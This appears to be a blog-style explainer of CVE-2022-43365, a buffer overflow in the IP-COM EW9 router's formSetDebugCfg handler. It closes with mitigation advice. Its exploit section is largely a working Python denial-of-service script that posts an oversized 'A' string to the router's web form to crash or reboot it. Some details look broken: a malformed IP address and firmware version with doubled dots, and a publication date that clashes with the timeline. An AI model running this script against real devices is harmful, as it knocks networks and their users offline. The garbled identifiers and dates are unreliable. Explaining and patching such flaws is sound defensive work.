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Overview

On October 29, 2022, a serious vulnerability, CVE-2022-43365, was published for the IP-COM EW9 wireless router (firmware version: V15.11..14(9732)). This bug lies in the formSetDebugCfg function, where poor handling of input lets attackers overflow a buffer and crash your device—leading to a Denial of Service (DoS). This post breaks down what this means, how it works, and what you should do to protect your device.

What Is IP-COM EW9?

The IP-COM EW9 is a common outdoor wireless access point used in homes and businesses. Its easy setup and good range make it popular worldwide.

Understanding the Vulnerability

The issue in CVE-2022-43365 is a classic buffer overflow bug inside the router’s web server. The vulnerable handler is formSetDebugCfg, used when updating debug settings over the web interface or API:

The function doesn’t check or limit the size of the input string.

- Sending a large/crafted string overflows the buffer—this can crash the program, reboot the router, or let attackers take control (in some cases).

Here’s a simplified breakdown

void formSetDebugCfg(char *input) {
    char buffer[256];
    // No check if input is longer than buffer!
    strcpy(buffer, input);
    // ... do stuff with buffer ...
}

If input is longer than 256 bytes, it will overwrite adjacent memory—breaking the application, or worse.

How Attackers Exploit CVE-2022-43365

Anyone who can reach the device’s web interface (local network or misconfigured remote admin) can exploit this:

Example Python Exploit

import requests

TARGET = 'http://192.168..1';  # Change to your router's IP
VULN_URI = '/goform/formSetDebugCfg'
BIG_INPUT = 'A' * 600  # 600 bytes, likely enough to overflow.

data = {
    'debugcfg': BIG_INPUT
}

r = requests.post(TARGET + VULN_URI, data=data)
print('Response:', r.status_code, r.text)

Running this will usually make the router unresponsive or restart, kicking all users offline.


References
- NVD Entry for CVE-2022-43365
- Packet Storm Security Advisory (English mirror)
- Original Exploit Share
- IP-COM EW9 Product Page

Mitigation Steps

- Update Firmware: Check if IP-COM has released a fixed firmware here (search for EW9).

Disable Remote Admin: Limit access to router’s web interface only from trusted devices.

- Firewall: Block external access to port 80/443.

Takeaway

Buffer overflows, like the one in formSetDebugCfg, are preventable but still common in network equipment. If you use an IP-COM EW9 (especially with version V15.11..14(9732)), upgrade immediately or isolate the device. Simple mistakes in code can let attackers disrupt your entire network.

Always patch your routers and limit who can access the admin pages—because in the digital world, simple software bugs can have big real-world consequences.

Timeline

Published on: 10/27/2022 18:15:00 UTC
Last modified on: 10/31/2022 18:59:00 UTC